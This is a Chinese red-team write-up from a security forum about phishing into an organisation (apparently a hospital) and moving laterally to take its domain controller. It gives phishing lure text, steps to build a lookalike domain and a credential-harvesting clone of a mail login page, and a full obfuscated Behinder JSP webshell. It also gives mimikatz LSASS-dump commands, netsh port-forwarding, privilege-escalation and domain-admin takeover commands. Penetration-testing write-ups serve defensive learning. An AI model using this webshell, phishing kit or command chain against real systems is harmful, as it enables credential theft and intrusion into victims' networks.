奇安信攻防社区-【攻防演练】从钓鱼上线到内网漫游

【攻防演练】从钓鱼上线到内网漫游

在面对外网口子少的单位时候，钓鱼往往是突破外网最有效的手段，本文针对之前一次钓鱼实战经历做一下简单总结

0x01 钓鱼
=======

邮箱搜集
----

在线平台搜集，推荐两个好用的平台

<https://app.snov.io/>

![image-20220928151000712.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-054cf94d9bf124726c52929d0ebe8cbe1494807c.png)

<http://www.skymem.info/>

![image-20220928152817084.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-7607cf84ce0f5f398e36493773568ec636ca9fd4.png)

社工钓鱼
----

一般钓鱼对象选取安全意识比较薄弱的岗位，如客服、招聘HR，在互联网或招聘app上可以搜集到

![image-20220928153401164.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-f8b8d50c5b1cca53d165b6e34424faf306942c78.png)  
这次方式是制作简历捆绑马，需要准备cs免杀马一枚和一份虚假简历，钓鱼关键是话术

聊天一上来就发个文件，任谁都有警惕性，先加上聊熟了再去发送文件，建立良好关系是第一步，这和谈恋爱是一样的，目的性不能太强

然后就是钓鱼平时先养好微信小号，定期更新朋友圈，这样才显得真实

图标提取

<https://github.com/JarlPenguin/BeCyIconGrabberPortable>

![image-20220922172431888.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-dd51761c71508792d092d749eeb7372eda4e2876.png)

图标替换

<https://github.com/guitarfreak/SetIcon>

![image-20220926150320955.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-56e72a8888d7e812095a6175f0c4a416a0b60fdf.png)

邮件钓鱼
----

1、个人邮箱（126邮箱、qq邮箱）

优点：注册快捷简单，即开即用

缺点：邮件发送次数限制，敏感关键字屏蔽，极大几率邮件被退信

![image-20220927151315859.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-f8fa128c965377af0feccb5a4700baad4db1dbde.png)

2、腾讯企业邮

优点：单次发送数量多，邮件不易被邮件服务器拦截

缺点：需要配置，耗费一定的时间

先看看效果

![image-20220927151129613.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-565f9655c32ec57e691a34d2a9b0867148097320.png)

腾讯企业邮搭建
-------

我搭建使用的是namesilo+cloudflare+腾讯企业邮

1、买个与目标相似的域名，这里选用namesilo，付款可以支付宝比较方便

![image-20221010145551032.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-b8f8f7efd1216ceff1b1dd3852670ad0c937ade7.png)

位置填入cloudflare的两个地址，在第二步会有提及

![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-b98ea695b36c7c865e6c4fd212076242ed01d80d.png)  
2、cloudflare添加站点

![image.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-c3527adc9c680f0904b666ae88409188b567f879.png)

计划选择免费即可

![image-20221010150045821.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-3c4e639e79c8fbcb2edecee127ccff5c7a29e76b.png)

这两个地址填到第一步namesilo的位置

![image-20221010150157488.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-6b7c57157ccb467a5d63d5f19c888f4a9f7ba829.png)

3、腾讯企业邮点击立即注册

<https://work.weixin.qq.com/mail/>

![image-20221010150505918.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-97c018dbf96bf9e7cc0cfca45721b6a480a9434b.png)

注册完成后在管理后台添加注册域名

![image-20220930115406775.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-614f5c35d0c9d77fdb1c8fde7bd0379b6aab0aa0.png)

![image-20220930115553460.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-640dfddad3fe574d6829f51721de9a6117dbf3ef.png)  
把记录填入到cloudflare的dns位置，选择MX类型，MX优先级保持一致即可

![image-20221010151033089.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-314d870a337b592f7ad1b64c8cf6a6a6da730d44.png)

搭建好之后便可以开始制作钓鱼邮件了

钓鱼话术参考：主题内容贴近生活，用补贴奖品增加吸引力

```php
各位领导，同事：  
  
趁2022国庆佳节之际，意为感谢全体员工牺牲个人时间为医院发展的辛勤付出，为体现多元化人文关怀，特此为大家准备丰厚礼物，关于礼品发放详情请\[登录\]进行查看：  
  
提前祝大家国庆欢乐！
```

钓鱼页面伪造
------

注册一个与目标名字相似的域名，解析到VPS上，在VPS上部署一个伪造页面，这次伪造的是腾讯企业邮

环境搭建：apache+php

```php
安装php  
yum install php php-mysql php-gd libjpeg\* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash  
  
安装apache  
yum install httpd\* -y  
  
开启apache服务  
service httpd start  
  
关闭apache服务  
systemctl stop httpd.service  
  
检查状态  
systemctl status httpd.service
```

![image-20220920184208377.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-0bb343b9f3f13282edd95fe9106b6ba4a54b1e23.png)

更改配置文件`/etc/httpd/conf/httpd.conf`，这里修改`/var/www/mail`为根目录，也可以使用默认配置

![image-20220927105614422.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-a8a98b10648920164cdd0b3cab8550e5b06372a9.png)

寻找需要伪造的站点，这里伪造的是腾讯企业邮，通过ctrl+s直接保存html相关资源文件至根目录

在根目录下建立一个php文件用于接收输入的账号密码，并把结果输出到result.txt里

![image-20220927111237702.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-6e6298d88c918d64db015661ffe3cf62b2980fb8.png)

获取参数时参数名要和待伪造的文件内参数名保持一致

![image-20220920195019420.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-71ec37871e71e42f5096d98b7076e2d1c11115d0.png)

将用户登录表单对应的action改为的login.php文件

![image-20220927110325107.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-172d17691f5b44ae48b442a3375986756ee8de19.png)

搭建完成后，前端抓包测试发现输入的密码全转换为0，导致后端输出的结果也变为0

![image-20220926174908578.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-7b3a1c843c96672fe858fe49a63ea58e6df932e8.png)

对网站前端html文件进行处理，把处理密码pp值相关js代码进行注释

![image-20220926175037531.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-b431876bbcab08c2caf95e83e0d059de3fb47ec6.png)

成功获取到明文密码

![image-20220926202751389.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-e53d6aae82368c22c2e74a3fe8c1b3ab77e8afb9.png)

![image-20220927104150993.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-7f8cda40ec54b4265b415220567e5ab6b087e233.png)

在部署过程中可能会碰到乱码的情况，这时候修改Apache服务器字符编码即可，相应的资源文件也要以相同编码保存

```php
vi /etc/httpd/conf/httpd.conf  
AddDefaultCharset UTF-8改成GB2312  
  
systemctl restart httpd
```

![image-20220927101312699.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-5a57cbfec750cdf30998b8077d522bb2fff1b7be.png)

修改完成后最终结果：

![image-20220927142210654.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-7b694d7eecba164c52734c0300fb4079b27346ab.png)

搜集第一批邮箱进行投递，投递完成后等着鱼儿上钩

等鱼儿上钩后，登录oa或邮箱系统获取更多员工的邮箱进行二次钓鱼，或者可以利用内网邮箱直接投递

![image-20220927112103516.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-31246823a235001465048dc3a34bdfc80df8776e.png)

这次演练里由于发送邮件数量较多，很快被管理员发现异常，不过还是上线了几台机器

0x02 内网
=======

上线机器后先做好权限维持，等防守人员下班再开扫，先在机器上翻翻文件，抓抓浏览器密码，推荐HackBrowserData

<https://github.com/moonD4rk/HackBrowserData>

![image-20220928154640661.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-e237f6f6327fcb359db7d7c0b66da80a8a3c766c.png)

等下班后直接fscan开冲，先低线程扫描横向几台机器，以免跳板机掉了，通过弱口令`root/123456`找到一台Linux服务器，通过Linux机器进行扫描

![image-20220929114535018.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-55917b3ad155851816edc2501fee179a26f095e1.png)

扫描结束使用川哥的脚本对fscan结果进行处理

```py
import re
import os
from argparse import ArgumentParser

# sys读取参数
arg = ArgumentParser(description='Fscan_quchong')
arg.add_argument('-i', '--file', nargs='*',dest='file',help='Scan multiple targets given in a txt file',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()
# 数据结构

SSH=[]
ftp=[]
redis=[]
mysql=[]
mssql=[]
oracle=[]
Memcached=[]
poc=[]
WebTitle=[]
InfoScan=[]
rdp=[]
MS17010=[]
dic_use={
    # 可利用信息梳理
    r".*SSH.*":SSH,
    r".*redis.*":redis,
    r".*mysql.*":mysql,
    r".*oracle.*":oracle,
    r".*mssql.*":mssql,
    r".*Memcached.*":Memcached,
    r".*ftp.*":ftp,
    r".*poc.*":poc,
    r".*InfoScan.*":InfoScan,
    # 端口开放
    r":(\d?3389|33899.*)":rdp,
    r".*MS17-010.*":MS17010,
    r".*WebTitle.*":WebTitle
}
pattern=r"----------.*----------"

def getInfo():
    filetargets=[]
    # 读取指定txt，支持多个
    if result.file!=None:
        filetargets=result.file
    else:
     # 遍历当前文件夹 读取全部txt
        for dirpath, dirnames, filenames in os.walk('.'):
            for filename in filenames:
                if filename.endswith('txt'):
                    filetargets.append(filename)
    print("作用范围："+str(filetargets))
    for filepath in filetargets:
        with open(filepath,'r',encoding='utf-8') as f:
            for line in f.readlines():
               for key in dic_use.keys():
                   if re.findall(key,line): # 正则匹配
                       if not re.findall(pattern,line): # 去重原结果文件
                           dic_use[key].append(line)
                   dic_use[key]=list(set(dic_use[key])) # 去重

def output():
    if result.outfile !=None:
        filename=result.outfile
    with open(filename,"a",encoding='utf-8') as file:
        #清空输出文件
        file.seek(0)
        file.truncate()
        for key in dic_use:
            if len(dic_use[key])!=0:
                if '3389' in key:
                    file.write("----------"+"疑似RDP"+"----------"+"\n")
                    file.write("\n")
                else:
                    # 写入数据
                    file.write("----------"+key[2:-2]+"----------"+"\n")
                    file.write("\n")
            for i in dic_use[key]:
                file.write(i)
            file.write("\n")
    print("结果已生成："+filename)
def main():
    getInfo()
    output()

if __name__ == '__main__':
    main()
```

![image-20220923113551911.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-773e180b6bf34b97663b806f43847c9d38be2bd3.png)

整理后的结果

![image-20220923113238056.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-f18f4a1a467e1d60027860009e06a504a4278e41.png)

扫描后发现入口机器位于办公段，与核心服务器区段存在隔离，扫描结果大多无法访问

1、再起一个代理隧道，但是linux机器不出网，遂改用其他方法

2、双层代理，可以使用代理链实现

Tomcat部署war包
------------

扫描结果看到一个tomcat弱密码admin/admin，感觉有戏，熟悉的部署war包环节

制作免杀冰蝎马，默认密码rebeyond，打成war包

jar -cvf shell.war ./shell.jsp

```java
<%! public byte[] A14I0(String Strings,String k) { try {javax.crypto.Cipher BI3fM5 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");BI3fM5.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), Strings);byte[] result = (byte[]) BI3fM5.getClass()./*Z5Z48C2BT7*/getDeclaredMethod/*Z5Z48C2BT7*/("doFinal", new Class[]{byte[].class}).invoke(BI3fM5,new Object[]{bytes});return result;} catch (Exception e) {e.printStackTrace();return null;} } %><%  try {  String KP8HYn8 = "e45e329feb5d925b";  session.putValue("u", KP8HYn8);  byte[] I934d9i = A14I0 (request.getReader().readLine(),KP8HYn8);  java./*Z5Z48C2BT7*/lang./*Z5Z48C2BT7*/reflect.Method A14I0 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z5Z48C2BT7*/("defineClass",byte[].class,int/**/.class,int/**/.class);  A14I0.setAccessible(true);  Class i = (Class)A14I0.invoke(Thread.currentThread()./*Z5Z48C2BT7*/getContextClassLoader(), I934d9i , 0, I934d9i.length);  Object Q362 = i./*Z5Z48C2BT7*/newInstance();  Q362.equals(pageContext); } catch (Exception e) {response.sendError(404);} %>
```

![image-20220929113917980.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-81c4c7d096855c50e343117a86c2552efe6dd67c.png)

探测一下发现不出网，这里直接使用CS自带的TCP Beacon 正向连接

新建一个TCP Listener

![image-20220929110039182.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-b7e95ea44bf4afb5c166977b02fc7278b223b3a3.png)

生成beacon.exe到目标机器上运行，使用 connect \[ip address\] \[port\] 命令进行正向连接，即可上线

![image-20220929110146457.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-faf288f77e84465b298ab7c132540ed8b69fd8f6.png)

Bypass核晶dump lssas
------------------

<https://github.com/seventeenman/CallBackDump>

直接编译生成360会报毒，可稍微修改再次编译生成，生成的VM21-6-8.log拖回本地解密

CallbackDump.exe to

![image-20220929094315306.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-726f3b2d0e5b1ea23e4fc1fd3e3269e62a5ad94c.png)

```php
dumpXor.exe VM21-6-8.log 1.dmp  
sekurlsa::minidump 1.dmp  
sekurlsa::logonPasswords
```

![image-20220929101614774.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-a7fc9ad7a8a644a57246ec6923361f29df27130d.png)

上线tomcat机器后，抓取hash值通过cmd5成功解密

探测端口发现445和3389是开放的，但是无法连接过去，猜测可能是对部分端口进行限制

使用netsh转发到8888端口

` netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.121.132 connectport=3389 connectaddress=192.168.121.132 `

删除netsh配置

` netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=192.168.121.132 protocol=tcp `

![image-20220926093640957.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-290a06902972f0ea0d5016eeeeb5f84aa3c8ce9a.png)

RDP登录到tomcat机器上

![image-20220929151748309.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-77e73ad57b7ccd3e502d98f970961504fd3387a4.png)

密码喷射
----

通过拿到的机器整理出密码本，对内网其他机器进行密码喷射

推荐crackmapexec和railgun

<https://github.com/Porchetta-Industries/CrackMapExec>

![image-20220930111902535.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-0a0e28173420b89c6079c7c746864f2cd68606bb.png)

<https://github.com/lz520520/railgun>

![image-20220930112049388.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-138f07ceb616238ce030db51034995aece9da187.png)

成功通过密码本组合爆破出另一台机器

![image-20220929151450411.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-72c2aa1863c9e08337d3eafdca74866ff6fa3ab6.png)

#### 高版本机器提权

查看进程发现上面登着域管进程，低权限先提个权

使用下面项目直接到system

<https://github.com/antonioCoco/JuicyPotatoNG>

`shell JuicyPotatoNG.exe -t \* -p "beacon.exe"`

![image-20221010151910751.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-34abada8598baf322c130e8118061a1a3d7a6a08.png)

高权限直接注入到域管进程

拿下域控
----

通过机器上的域管进程导出域管账户hash，其中有五个域管用户，cmd5批量解，其中一个域管用户能解出明文信息

```php
net group "domain admins" /domain  
shell net user xxxx  
shell net user xxxx /active:yes /domain
```

启用禁用的域管账户，通过域管账户登录域控，over！

![image-20220929151221101.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-d09fbbe905cb8843e4466cc06e8d2a94c5c01f07.png)

发表于 2022-10-18 09:35:36
阅读 ( 9431 )
分类：内网渗透

2 条评论

泪痕 2022-10-19 09:33

师傅强的，靠谱👍🏻

L1NG 2022-10-25 10:13

不错